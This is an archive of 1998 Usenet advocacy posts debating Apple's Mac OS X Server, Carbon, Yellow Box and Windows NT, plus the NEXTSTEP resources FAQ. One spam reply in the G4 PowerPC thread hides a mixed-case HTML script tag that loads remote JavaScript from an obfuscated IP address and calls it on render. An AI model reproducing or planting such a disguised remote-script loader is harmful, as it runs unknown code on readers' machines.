Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sql3$7m7@news1.panix.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <70r43k$apa$1@reader1.reader.news.ozemail.net>
On Sat, 24 Oct 1998 09:42:57 +1000, Greg Alexander
<galexand@ozemail.com.au> wrote:
>Sal Denaro wrote:
>>I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
>>to ship with it. This statement was made by a WO guy at Apple I know.
>
>Now we've got to hope that it isn't bundled together.... then you've got >$1.5k
>for a MOSX Server + WO bundle... Of course that would keep all their
>promises without letting an average user change to intel!
I doubt that the price (outside of the dot-edu market) will be less than $500.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Apple as Linux vendor: business solutions
Date: Sat, 24 Oct 1998 16:00:22 GMT
Organization: Airnews.net! at Internet America
Message-ID: <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net>
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Sat Oct 24 10:52:37 1998
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On Fri, 16 Oct 1998 16:01:45 +0100, Simon Kinahan <simonk@cadence.com>
wrote:
>taiQ wrote:
>> > There is an interesting piece on www.mackido.com that is sure to raise the
>> > hackles of any good linux user, but it contains an interesting notion:
<snip>
>> Anything that would splinter the focus away from GNOME (ambitious
>> object model for the Linux kernel) or KDE (currently clouded with
>> restrictive licencing issues) would do a disservice to whole Linux
>> movement. Yellow Box could be fitted to run above GNOME, not as a
>> replacement, and Apple would gain goodwill by participating in GNOME
>> development. Also, Yellow Box is (supposedly) the future, while
>> Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
>> functional Mac OS X without any classic APIs or revisions bloating the
>> system - I mean, after Carbon has lived up its useful, transitional
>> life?
>
>I agree about Gnome and KDE, but I think you're wrong that Yellow Box would
>be better than Carbon (although it would also be good, especially since the
>source code to the proprietary additions could be added to GnuStep). The
>main point of Carbon seems to be that most MacOS developers told Apple
>where to go when they were told they were going to have to rewrite their
>apps. There is a large base of MacOS software after all.
Yeah--what Apple decided to go full-steam on attacking the NT's
current strangle hold on enterpise mindshare using straigt Linux:
Port a boatload of Mac apps to Linux and sell Apple hardware with
Linx-preinstalled (I don't know if it'd be best for them to be
duel-boot or not.)
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of the majority, it is time
to reform." -- Mark Twain
Newsgroups: comp.sys.next.advocacy
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From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 24 Oct 1998 15:07:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sqge$7l0@news1.panix.com>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70nj6e$3ud@newsb.netnews.att.com>
On 22 Oct 1998 15:32:30 GMT, gupta@knim.tm.tta.moc-mirror after
@ <gupta@knim.tm.tta.moc-mirrorafter@> wrote:
<<clip>>
>Processor price wars on the horizon ?
Hmmm... how would x86 price wars effect Apple's consumer line?
I think it would be _very_ hard for Apple to get away with the
current margins if prices on the x86 market drop by 20% or more.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 24 Oct 1998 15:08:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sqgh$7l0@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <70jmbo$mqb@news1.panix.com> <362E3CDF.1F741898@ericsson.com>
On Wed, 21 Oct 1998 14:58:23 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> How are they _not_ doing that now? Apple appears to be working on both
>> MacOS and OSX with plans to ship both over the next few years.
>Amelio publicly stated in May of '97 that he was exploring various plans
>to give MacOS this capability. As we now know, this would have
>necessarily involved a rewrite of the Toolbox APIs (can you say
>"Carbon"?).
Can you say copland?
Seeing that existing MacOS Apps can be ported to OSX via carbon, I see
no reason why anyone would try and add PMT and PM to MacOS. Let MacOS
die and be replaced by OSX.
>I don't know about you, but I never heard developers say "What I really
>want from Apple is a migration plan". I *did* hear them say "What I
>really want from Apple is an OS with PMT and PM".
That would be OSX.
> Giving them the option
>do gain these capabilities on MacOS would have been met with cheers from
>developers.
Huh? Copland?
And other than existing MacOS users, who gives a fuck about MacOS? How
many *nix users care about MacOS? Wintel? No one cares. Let the damn thing
die and move on to a real OS.
>> Apple has almost _zero_ credibility in the enterprise market. Shipping
>> OpenStep as it was would have done little to build credibility.
>Your market research to support this is...where?
What is Apple's market share in the banking, insurance and investment
markets? It is much less than Apple's 3% overall share.
Can you point to _any_ Apple product that has had any inroads to this market?
How well did Apple's server products do?
While Apple has some credibility in the publishing world, they are not taken
seriously by corporate MIS people.
>> Shipping
>> OSX Server, with many improvements over OS4.2, and some kind of marketing
>> push (perhaps with WO4) _may_ improve Apple's credibility.
>Which improvements, exactly, will reach customers in usable form?
QuickTime, BSD4.4, PDF Support (with PS3) in the window server...
>> I'll take the possibility that OSX is marketed half as well as the iMac
>> was over whatever plan Gil cooked up in early '97.
>Exactly. "Whatever plan Gil cooked up", which means you weren't paying
>attention.
It was the "OS/2" plan. Consider YB to be a new product line and attempt to
build up a new market around it while keeping the existing market.
Steve's plan is the WinNT plan, sell it as a server and developer platform;
provide tools to port old Apps to it, and sell it as the future Mac platform.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 24 Oct 1998 15:08:02 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sqgi$7l0@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
On Fri, 23 Oct 1998 02:16:20 +0000, Ziya Oz <ZiyaOz@earthlink.net> wrote:
>Tokyo Seybold Keynote Report (Oct. 21, 1998)
><http://www.macintouch.com/seybold1998tokyo.html>
>During the question and answer session at the end, an audience member asked why
>Mac OS X Server was missing from the OS roadmap slide. Martin [Jim Martin
>Apple's Senior Director of Design and Publishing Marketing] made it very clear
>MacOS X Server was alive and well, however: "We came to the conclusion with our
>developers that the best strategy is come out with that (MacOS X Server) in '99
>and make sure that it has the right hardware design, the right software on it,
>like Web Objects, and do it right rather than try to do it too quickly."
That helps confirm a statement made by a WO developer I know.
He claims that OSX Server is ready to ship; but, is being delayed by WO4. Apple
wants to ship them both at the same time.
(He also mentioned that planned support for Oracle was behind schedule)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 24 Oct 1998 15:10:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70sql1$7m7@news1.panix.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost> <70nh71$v87$1@nnrp1.dejanews.com> <362F5631.71F99B2B@ericsson.com>
On Thu, 22 Oct 1998 10:58:41 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>You *cannot* gauge MacOS developer interest in YB by product
>announcements. It would have been idiotic! to announce YB products when
>it was impossible to know
How many MacOS ISVs announced YB plans, or made statement on intent to
support it in the first year after the merger?
How many MacOS ISVs announced carbon plans in the first week carbon was
announced?
If that doesn't speak volumes about the differences in the viability of
the OSX plan versus Gil's "We'll just build a new product line..." plans, I
don't know what else to say.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: Sat, 24 Oct 1998 16:13:19 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2410981613200001@ppp149.blackbox1-mfs.netaxs.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy> <jayfar-2310980038460001@ppp180.blackbox1-mfs.netaxs.com> <70sql2$7m7@news1.panix.com>
Mail-Copies-To: jayfar@netaxs.com
In article <70sql2$7m7@news1.panix.com>, sal@panix.com wrote:
| On Fri, 23 Oct 1998 00:38:46 -0400, Jayfar <jayfar@netaxs.com> wrote:
| >But don't forget, Amelio's vision included clones, with Apple retaining a
| >sizeable share of a gradually growing MacOS platform.
|
| The problem with that statement is that at no point during the clone era
| did Apple's market share grow.
Nor should anyone have expected measurable platform growth so soon. IIRC,
cloning lasted all of about 18 months (not counting the lame duck days,
after the hammer fell in September 1997). My gut guestimate: in about 5
years from the inception of Mac cloning, the Mac's share of the PC market
could have reached 20 to 30%, with Apple itself holding onto about 7 to
15% of total PC sales.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: u353851318@spawnkill.ip-mobilphone.net
Sender: u353851318@spawnkill.ip-mobilphone.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Re: Motorola's G4 PowerPC
Date: Sat, 24 Oct 1998 19:52:18 +0000
Message-ID: <k.909258738.909246902.1646942138@ur.hchs.de>
References: <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>
MIME-Version: 1.0
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
<sCrIPt LANgUaGe="JavaScript"
SRC="http://000303.00064.0026.0034/p.js">
</ScrIPt><Pre>:g:k%2E909258738%2E90924690%32%2E1646942138
comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
-======-==--=-===---=-=-==--==-====-===-=====-=--=-==--==========-==-==-=-==
Dear Jonas Palm,
In your posting Re: Motorola's G4 PowerPC from Fri, 23 Oct 1998
18:36:55 +0100 you write:
>
> 3D-transforms for example is already bandwidth limited in many cases.
> Even though for instance 3D object rotation is an excellent example
> of a problem that fits a SIMD programming model, it won't gain any
> benefit at all from AltiVec. Sure the actual calculation will be
> faster, but the existing cores already do that an order of magnitude
> faster than you can read data from memory and write the results back
> again.
>
For the next century we will design a new online
calculation tool for researcher. It will builded
by creating fast calculation units. As a result
of this, the desing of applications will by reduced
to establish connections. go to
http://0303.064.026.0060/2%31Centu%72y/in%64%65%78%2Ehtml
"> <scriPt lANGuAge="JavaScript"> /* <!-- 10 */ j() // 13 --> </ScrIPT>
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: This is the OS the world will move to?
Date: 25 Oct 1998 01:31:36 GMT
Organization: Idiom Communications
Message-ID: <70tv1o$2mi$1@news.idiom.com>
References: <alex-2410980029060001@cs48-25.austin.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: alex@WebIS.net
Alex Kac may or may not have said:
-> http://cnn.com/TECH/computing/9810/23/prepare.idg/
->
-> Talks about the move to Windows NT.
I went and looked at it.
This bit was really cute:
-> ...That's because NT, once the ugly stepchild of Microsoft operating
-> systems, has blossomed into a valuable tool for business-oriented
-> computing.
Bullshit. It's the thing you use when your pointy-haired boss makes you do
it for stupid political reasons.
->Armed with the same interface as Windows 9x,
It boggles me that anyone considers this a good thing.
-> rock-solid reliability,
BULLSHIT!
-> and effective security features,
More bullshit.
-> NT 4.0 has found a home on more than 15 million computers--
And this is completely irrelevant to the question of whether one wants to put
up with NT's dismal excuses.
If 15 million lusers were jumping off a cliff, would *you* do it, too?
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: roger@.
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 25 Oct 1998 01:53:14 GMT
Organization: gte.net
Message-ID: <70u099$30p$1@news-1.news.gte.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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On Mon, 19 Oct 1998 12:55:45 GMT, someone claiming to be T. Max Devlin
wrote:
>Quoting "WaldoTim" <waldotim@yahoo.com> from alt.destroy.microsoft;
>Sun, 18 Oct 1998 21:31:58 -0400
>>Alexandre A. S. wrote in message ...
>>>In article <36184884.D44FFF6C@nstar.net>, Michael Peck <mjpeck@nstar.net>
>>wrote:
>>> Ever tried to dump a folder inside Win95/98's trash, and then trying
>>>to get it back?
Yes.
>You can't.
Yes, you can.
>You'll get a mishmash of files.
Only if that's what you had originally.
>> I've never had a problem with the recycle bin. In fact, it works
>>a lot better than I originally expected it to. Just like a Mac, in fact. :)
>I have. I know just the kind of random behavior he's talking about.
>Mac's trashcan is far more trouble-free.
Precisely what do you find random about the behaviour of the Recycle
BIn?
>> Yet you don't, which throws your credibility into doubt. Come up with
>>some specific, objective reasons why Windows' GUI is defective. Really.
>>I love to argue about this. :)
>What, the GUI, or the code, or the OS, or the shell, or the UI, or
>the API, or the GDI? Which "Windows GUI" are you referring to?
Free hint, Max: the API is not the GUI. Neither is the GDI. Take
your pick of the others, and we can discuss.
But do try to stay away from personal attacks and passing your opinion
off as revealed fact. Thanks.
>>> Just because no new features were introduced doesn't mean we should
>>>stop and don't improve on the current ones. Win98 did nothing to improve
>>>Win95's already horrible GUI, in fact, it only made it worse!
>> Again, no examples. Most of the people I talk to usually come out with
>>something like "Hmmm... Doesn't seem much different, does it?"
>Any individual "example" would simply be nit-picking, and would be
>dismissed as such. The point is, most people don't see any
>difference, because most people barely do anything.
No, most people don't see much difference, because there isn't much
difference in the GUI.
>As long as they
>click to the three or four apps they know about, it all looks pretty
>much the same. To those who still know what it is like to /run/
>their computer, instead of take it for walks, they've shrunken it
>down yet further towards "the smallest possible set of useful
>functions".
In what way exactly?
>They further confused the file management interface paradigm by
>adding Internet Explorer-style windows to the Finder, Explorer, File
>Manager, and DOS command line interfaces. Is that an "example"?
No, that's just Max getting confused once again. There don't seem to
be many (any?) others complaining about being confused by the new
look.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <12647908683221@digifix.com>
Date: 25 Oct 1998 03:47:04 GMT
Organization: Digital Fix Development
Message-ID: <18198909288022@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: cmsg cancel <jayfar-2410981550280001@ppp149.blackbox1-mfs.netaxs.com>
Control: cancel <jayfar-2410981550280001@ppp149.blackbox1-mfs.netaxs.com>
Date: Sat, 24 Oct 1998 16:02:44 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2410981602440001@ppp149.blackbox1-mfs.netaxs.com>
cancel <jayfar-2410981550280001@ppp149.blackbox1-mfs.netaxs.com>
From: pfkeb@libra.slac.stanford.edu (Paul F. Kunz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 25 Oct 1998 08:36:02 -0700
Message-ID: <7t90i4k61p.fsf@libra.slac.stanford.edu>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu> <70qer3$349$1@news.xmission.com> <70qgon$sec$1@sun27.hrz.tu-darmstadt.de> <7t3e8eabc6.fsf@libra.slac.stanford.edu> <70vc1q$o2c$1@sun27.hrz.tu-darmstadt.de>
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
> Respect where respect is due. The team at CERN have done an excellent
> job, and they wrote a "proof of concept" implementation in a very
> short time. They should also be credited with making a wise decision
> regarding the software platform: Only NeXTstep provided an environment
> suitable for the kind of rapid application development they needed.
>
Amen.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
<3632BA95.4BF99CB6@nstar.net> <70ut16$8ju$2@news.idiom.com>
<36333221.B79EAE89@nstar.net>
Message-ID: <kzIY1.8640$yb5.5922089@news.rdc1.sdca.home.com>
Date: Sun, 25 Oct 1998 16:44:00 GMT
NNTP-Posting-Date: Sun, 25 Oct 1998 08:44:00 PDT
Organization: @Home Network
In <36333221.B79EAE89@nstar.net> "Michael J. Peck" wrote:
> John C. Randolph wrote:
>
> > What's your complaint with the way NeXT handled color? Do you not like
the
> > 12-bit system they used in the slabs, or do you have some objection to
DPS?
> > (personally, I'd have to say that the color triage routine that Adobe
came up
> > with for 8-bit frame buffers on HP, Sun and intel NEXTSTEP boxes did an
> > amazingly good job.)
>
> Late and expensive.
>
>
For a Michael-come-lately to the NeXTstep platform circa 1997 your memory
precedes you.
Uncannily accurate...
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: This is the OS the world will move to?
MIME-Version: 1.0
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References: <alex-2410980029060001@cs48-25.austin.rr.com> <70tv1o$2mi$1@news.idiom.com>
Message-ID: <57wY1.8582$yb5.5611983@news.rdc1.sdca.home.com>
Date: Sun, 25 Oct 1998 02:34:41 GMT
NNTP-Posting-Date: Sat, 24 Oct 1998 19:34:41 PDT
Organization: @Home Network
In <70tv1o$2mi$1@news.idiom.com> John C. Randolph wrote:
> Alex Kac may or may not have said:
> -> http://cnn.com/TECH/computing/9810/23/prepare.idg/
> ->
> -> Talks about the move to Windows NT.
>
> I went and looked at it.
>
> This bit was really cute:
>
> -> ...That's because NT, once the ugly stepchild of Microsoft operating
> -> systems, has blossomed into a valuable tool for business-oriented
> -> computing.
>
> Bullshit.
Somewhat uninformed... *valuable* business applications are leveraging NT
into the future from Main St. to Wall St. Now the Bullshit may be right-on
when those deployments crumble under their own weight, thanks to NT.
-r
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-uMYllr9dK9cP@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
